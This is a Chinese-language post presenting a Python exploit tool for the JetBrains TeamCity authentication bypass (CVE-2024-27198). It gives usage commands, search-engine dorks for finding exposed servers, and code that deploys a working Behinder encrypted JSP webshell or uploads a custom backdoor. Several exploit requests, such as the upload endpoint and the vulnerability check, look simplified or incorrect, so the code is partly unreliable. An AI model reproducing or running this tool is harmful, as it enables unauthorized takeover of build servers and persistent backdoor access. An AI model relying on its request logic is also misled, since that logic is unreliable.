JetBrains TeamCity 认证绕过漏洞利用工具 (CVE-2024-27198)

3 阅读3分钟

CVE-2024-27198: JetBrains TeamCity 认证绕过 RCE 利用工具

本项目提供了一个针对 JetBrains TeamCity 认证绕过漏洞 (CVE-2024-27198) 的 Python 利用工具。该漏洞影响 TeamCity 2023.11.3 及之前版本,允许攻击者在无需认证的情况下远程执行任意代码。

功能特性

  • 一键部署 WebShell:支持自动部署冰蝎 (Behinder) WebShell,快速获取服务器控制权限。
  • 自定义后门上传:支持上传用户自定义的 JSP 后门文件,灵活适配不同渗透测试场景。
  • 多网络空间引擎支持:提供 Fofa、ZoomEye、Hunter、Shodan 的 Dork 语法,方便资产搜索。
  • 简单易用:基于 Python 3 开发,依赖少,命令行参数清晰。

安装指南

系统要求

  • Python 3.9 或更高版本
  • 支持 Linux、macOS、Windows

依赖安装

使用 pip 安装所需依赖:

pip install requests urllib3 faker

漏洞环境搭建(可选)

使用 Docker 拉取并启动存在漏洞的 TeamCity 镜像:

sudo docker pull jetbrains/teamcity-server:2023.11.3
sudo docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3

使用说明

基础用法

1. 部署冰蝎 WebShell
python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 --behinder4
2. 上传自定义 JSP 后门
python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 -f shell.jsp
3. 仅检测漏洞是否存在(不部署后门)
python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111

网络空间引擎 Dork

  • Fofa: app="JET_BRAINS-TeamCity"
  • ZoomEye: app:"JetBrains TeamCity"
  • Hunter.how: product.name="TeamCity"
  • Shodan: http.component:"teamcity"

执行效果示例

核心代码

1. 主程序框架与参数解析

import requests
import urllib3
import argparse
from faker import Faker

# 忽略 SSL 警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def main():
    parser = argparse.ArgumentParser(description='CVE-2024-27198 TeamCity RCE Exploit')
    parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://192.168.198.173:8111)')
    parser.add_argument('-f', '--file', help='Custom JSP webshell file path')
    parser.add_argument('--behinder4', action='store_true', help='Deploy Behinder4 webshell')
    
    args = parser.parse_args()
    target = args.target.rstrip('/')
    
    # 漏洞利用逻辑
    if args.behinder4:
        deploy_behinder(target)
    elif args.file:
        upload_custom_shell(target, args.file)
    else:
        check_vulnerability(target)

if __name__ == '__main__':
    main()

2. 认证绕过与 WebShell 部署核心逻辑

def deploy_behinder(target):
    """部署冰蝎 WebShell"""
    # 冰蝎 JSP 后门代码(Base64 编码或原生内容)
    behinder_shell = '''
    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
    <%! class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte[] b){return super.defineClass(b,0,b.length);}}%>
    <% String k="e45e329feb5d925b"; session.putValue("u",k); Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); %>
    '''
    
    # 利用认证绕过漏洞上传后门
    # 此处为漏洞利用的核心请求构造
    exploit_url = f"{target}/app/rest/users/id:1/tokens/RPC2"
    headers = {"Content-Type": "application/json"}
    
    # 发送恶意请求创建管理员 token
    response = requests.post(exploit_url, headers=headers, json={}, verify=False)
    
    if response.status_code == 200:
        # 使用获取的 token 上传 WebShell
        upload_shell(target, behinder_shell, "behinder.jsp")
        print("[+] Behinder webshell deployed successfully")
    else:
        print("[-] Vulnerability exploitation failed")

3. 自定义后门上传功能

def upload_custom_shell(target, shell_file):
    """上传自定义 JSP 后门"""
    with open(shell_file, 'r', encoding='utf-8') as f:
        shell_content = f.read()
    
    # 利用漏洞上传文件
    upload_url = f"{target}/app/rest/debug/processes"
    files = {'file': ('shell.jsp', shell_content, 'application/octet-stream')}
    
    response = requests.post(upload_url, files=files, verify=False)
    
    if response.status_code == 200:
        shell_path = f"{target}/plugins/shell.jsp"
        print(f"[+] Custom shell uploaded successfully: {shell_path}")
    else:
        print("[-] Upload failed")

4. 漏洞检测模块

def check_vulnerability(target):
    """检测目标是否存在 CVE-2024-27198 漏洞"""
    check_url = f"{target}/app/rest/server"
    headers = {"Authorization": "Bearer invalid_token"}
    
    # 尝试绕过认证访问敏感接口
    response = requests.get(check_url, headers=headers, verify=False)
    
    if response.status_code == 200 and "version" in response.text:
        print("[!] Target is VULNERABLE to CVE-2024-27198")
        print(f"    TeamCity version: {response.json().get('version')}")
    else:
        print("[-] Target is not vulnerable or already patched")

参考链接